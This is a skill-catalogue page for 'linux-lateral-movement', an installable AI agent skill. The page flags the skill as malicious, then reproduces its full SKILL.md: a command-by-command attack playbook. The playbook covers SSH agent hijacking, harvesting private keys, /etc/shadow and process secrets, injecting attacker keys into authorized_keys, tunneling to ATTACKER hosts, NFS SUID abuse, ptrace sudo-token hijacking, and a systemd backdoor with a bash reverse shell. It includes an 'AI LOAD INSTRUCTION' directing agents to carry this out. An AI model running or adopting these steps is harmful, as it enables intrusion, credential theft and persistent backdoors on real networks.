linux-lateral-movement
Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.
Install / Use
npx skills add yaklang/hack-skills --skill linux-lateral-movementInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Tags
Our assessment of linux-lateral-movement
linux-lateral-movement scores 93/100 on our quality scale, 364th of 1,108 Security skills we index (top 33%).
Its SKILL.md is 11 KB long, well organised into 88 sections with 17 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so linux-lateral-movement is actively maintained.
- Our last check on 2026-10-26 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
WarningOur pattern rules found nothing in the whole file, but two independent AI reviews judged it malicious: The file is a skill/rule file that instructs the agent to perform active offensive actions such as SSH agent hijacking, harvesting /etc/shadow and private keys, injecting attacker SSH keys into authorized_keys, and reusing sudo tokens via p. Do not install linux-lateral-movement.
AI review: malicious
- The file is a skill/rule file that instructs the agent to perform active offensive actions such as SSH agent hijacking, harvesting /etc/shadow and private keys, injecting attacker SSH keys into authorized_keys, and reusing sudo tokens via p
- It directs the agent to establish persistence and backdoors, e.g., creating systemd services with reverse shells and monitoring /tmp for new SSH agent sockets.
- It explicitly covers lateral movement and credential theft across hosts, including D-Bus/systemd abuse, NFS no_root_squash SUID exploitation, and tunneling into internal networks.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-30. Automated pattern scan on 2026-09-29. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
linux-lateral-movement compared with similar skills
All 4 of these similar skills score higher than linux-lateral-movement; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| linux-lateral-movement (this skill)by yaklang | 93 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install linux-lateral-movement?
- Run
npx skills add yaklang/hack-skills --skill linux-lateral-movement. The install tabs above show the steps for each supported agent. - Which AI agents does linux-lateral-movement work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is linux-lateral-movement safe to use?
- Our pattern rules found nothing in the whole file, but two independent AI reviews judged it malicious: The file is a skill/rule file that instructs the agent to perform active offensive actions such as SSH agent hijacking, harvesting /etc/shadow and private keys, injecting attacker SSH keys into authorized_keys, and reusing sudo tokens via p. Do not install linux-lateral-movement. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is linux-lateral-movement still maintained?
- The repository was last updated about 2 months ago, so linux-lateral-movement is actively maintained.
Skill content
View source on GitHubname: linux-lateral-movement description: >- Linux lateral movement playbook. Use after gaining initial access to pivot across Linux hosts via SSH hijacking, credential harvesting, internal pivoting, D-Bus exploitation, sudo token reuse, and shared filesystem abuse.
SKILL: Linux Lateral Movement — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation if you need root on the current host before pivoting
- linux-security-bypass when restricted shells or security modules block lateral movement tools
- container-escape-techniques when the target network includes containerized hosts
- kubernetes-pentesting when pivoting into a Kubernetes cluster
- unauthorized-access-common-services for exploiting discovered internal services (Redis, MongoDB, etc.)
1. SSH AGENT HIJACKING
1.1 Find SSH Agent Sockets
# As root (or user with access to other users' processes):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# Or via /proc:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'
# Typical path: /tmp/ssh-XXXXXX/agent.PID
1.2 Hijack Agent Forwarding
# Set the found socket as our auth agent
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345
# List available keys in the agent
ssh-add -l
# If keys appear → we can use them
# SSH to any host this agent can authenticate to
ssh -o StrictHostKeyChecking=no user@internal-host
# The agent owner won't notice — we're using their forwarded agent
1.3 Persistent Agent Monitoring
# Monitor for new SSH agent sockets (wait for admin to SSH in)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# Or poll:
while true; do
find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
touch /tmp/.marker
sleep 5
done
2. SSH KEY HARVESTING
2.1 Private Key Locations
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*
# Find keys without passphrase:
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
done
2.2 known_hosts Parsing
# Hashed known_hosts (common default):
cat ~/.ssh/known_hosts
# May be hashed — use ssh-keygen to check against known IPs:
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts
# Unhashed known_hosts → direct IP/hostname list
awk '{print $1}' ~/.ssh/known_hosts | sort -u
# Extract all hostnames/IPs from all users' known_hosts
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
| awk '{print $1}' | tr ',' '\n' | sort -u
2.3 authorized_keys Injection
# Generate attacker keypair (on attacker box)
ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""
# Inject public key (on compromised host)
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys
# SSH back in with our key
ssh -i /tmp/pivot_key root@target
3. CREDENTIAL HARVESTING LOCATIONS
3.1 System Credentials
| Location | Contents | Command |
|---|---|---|
| /etc/shadow | Password hashes | cat /etc/shadow (root) |
| /etc/passwd | User list, may contain hashes | cat /etc/passwd |
| .bash_history | Command history (passwords in cleartext) | cat /home/*/.bash_history |
| .mysql_history | MySQL commands with passwords | cat /home/*/.mysql_history |
| .psql_history | PostgreSQL commands | cat /home/*/.psql_history |
| .pgpass | PostgreSQL password file | cat /home/*/.pgpass |
| .my.cnf | MySQL credentials | cat /home/*/.my.cnf |
| .netrc | FTP/HTTP auto-login credentials | cat /home/*/.netrc |
| .git-credentials | Git HTTPS passwords | cat /home/*/.git-credentials |
3.2 Environment & Config Files
# Current process secrets
env | grep -iE "pass|key|secret|token|api|cred|auth"
# All process environments (root):
for pid in /proc/[0-9]*; do
cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
done
# Application configs (common credential locations):
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
-o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null
# Keyrings & secret stores:
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null
4. D-BUS EXPLOITATION
4.1 Enumerate D-Bus Services
# List system bus services
dbus-send --system --dest=org.freedesktop.DBus \
--type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
# List session bus services
dbus-send --session --dest=org.freedesktop.DBus \
--type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
# Introspect a service (find available methods)
dbus-send --system --dest=org.freedesktop.systemd1 \
--type=method_call --print-reply \
/org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect
4.2 Abuse systemd & PolicyKit via D-Bus
# Start a service via D-Bus (if policy allows):
dbus-send --system --dest=org.freedesktop.systemd1 \
--type=method_call --print-reply /org/freedesktop/systemd1 \
org.freedesktop.systemd1.Manager.StartUnit \
string:"malicious.service" string:"replace"
# polkit actions available without auth:
pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"
5. INTERNAL NETWORK PIVOTING
5.1 SSH Tunneling
# Local port forward: access INTERNAL_HOST:3306 via localhost:3306
ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host
# Remote port forward: expose attacker service to internal network
ssh -R 8080:ATTACKER:8080 pivot@compromised-host
# Dynamic SOCKS proxy: route all traffic through pivot
ssh -D 1080 pivot@compromised-host
# Then: proxychains nmap -sT INTERNAL_RANGE
# SSH over SSH (multi-hop):
ssh -J user1@hop1,user2@hop2 target@final-host
5.2 Without SSH — Alternative Tunnels
# socat port forward
socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &
# ncat relay
ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"
# /dev/tcp (Bash built-in, no tools needed)
exec 3<>/dev/tcp/INTERNAL_HOST/80
echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
cat <&3
# chisel (SOCKS proxy over HTTP)
# On attacker: chisel server -p 8080 --reverse
# On target: chisel client ATTACKER:8080 R:socks
5.3 Network Discovery from Compromised Host
ss -tlnp && ss -tnp # Listening & established connections
arp -a && ip neigh # Known adjacent hosts
cat /etc/resolv.conf # DNS servers
dig axfr internal.domain @dns 2>/dev/null # Zone transfer
# Subnet sweep (bash-only, no tools):
for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait
# Port scan via /dev/tcp:
for port in 22 80 443 3306 5432 6379 8080; do
(echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
done
6. SHARED FILESYSTEM EXPLOITATION
6.1 NFS Mounts
# Discover NFS shares
showmount -e FILESERVER_IP 2>/dev/null
# Check for no_root_squash (root maps to root)
mount -t nfs FILESERVER_IP:/share /mnt/nfs
# If no_root_squash: create SUID binaries visible to other hosts
# All hosts mounting the same share → SUID binary = root on all hosts
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash
6.2 SMB/CIFS Shares
# Enumerate shares
smbclient -L //FILESERVER_IP/ -N 2>/dev/null # Null session
smbclient -L //FILESERVER_IP/ -U 'user%password'
# Mount and search for credentials
mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
-o -name "*.xlsx" -o -name "*.docx" 2>/dev/null
7. SUDO TOKEN REUSE (ptrace-Based)
# If another user has an active sudo session (timestamp not expired):
# And we can ptrace their process (same UID or root)
# Check sudo timestamp files:
ls -la /var/run/sudo/ts/ 2>/dev/null
ls -la /var/db/sudo/ 2>/dev/null
# Files here mean active sudo tokens
# ptrace-based hijack:
# Attach to the user's shell process
# Inject: sudo /bin/bash
# The injected sudo inherits the valid timestamp → no password needed
# Automated tool: sudo_inject
# https://github.com/nongiach/sudo_inject
# Injects into processes with valid sudo tokens
8. SYSTEMD SERVICE MANIPULATION
# Find writable unit files:
find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null
# Inject into existing service (add ExecStartPre=):
# Or create new: /etc/systemd/system/backdoor.service
# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
systemctl daemon-reload && systemctl enable --now backdoor.service
9. LATERAL MOVEMENT DECISION TREE
Compromised host — where to move next?
│
├── SSH credentials available?
│ ├── Private keys found? → try on all known_hosts targets (§2)
│ ├── SSH agent running? → hijack socket (§1)
│ ├── Passwords in history/configs? → spray across hosts (§3)
│ └── authorized_keys writable on other hosts? → inject key (§2.3)
│
├── Network services discovered?
│ ├── Internal web apps? → tunnel + attack (§5.1)
│ ├── Databases (3306/5432/6379)? → check harvested creds (§3)
│ ├── SMB/NFS shares? → mount + search for creds/SUID (§6)
│ └── Kubernetes API (6443)? → load kubernetes-pentesting skill
│
├── Can reach other hosts?
│ ├── Direct SSH? → use keys/passwords
│ ├── Firewalled? → SSH tunnel or chisel (§5)
│ └── No tools? → /dev/tcp + bash (§5.2)
│
├── Root on current host?
│ ├── Read /etc/shadow → crack hashes → password reuse (§3)
│ ├── Dump /proc/*/environ → find service credentials (§3.2)
│ ├── Hijack sudo tokens → piggyback admin sessions (§7)
│ └── Modify systemd services → backdoor (§8)
│
├── D-Bus services available?
│ ├── Privileged services exposed? → method call abuse (§4)
│ └── polkit actions without auth? → privilege actions (§4.3)
│
└── No obvious path?
├── ARP scan + port sweep internal network (§5.3)
├── Passive credential sniffing (if cap_net_raw)
├── Wait for admin SSH → agent hijack (§1.3)
└── Check for cloud metadata (169.254.169.254)
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
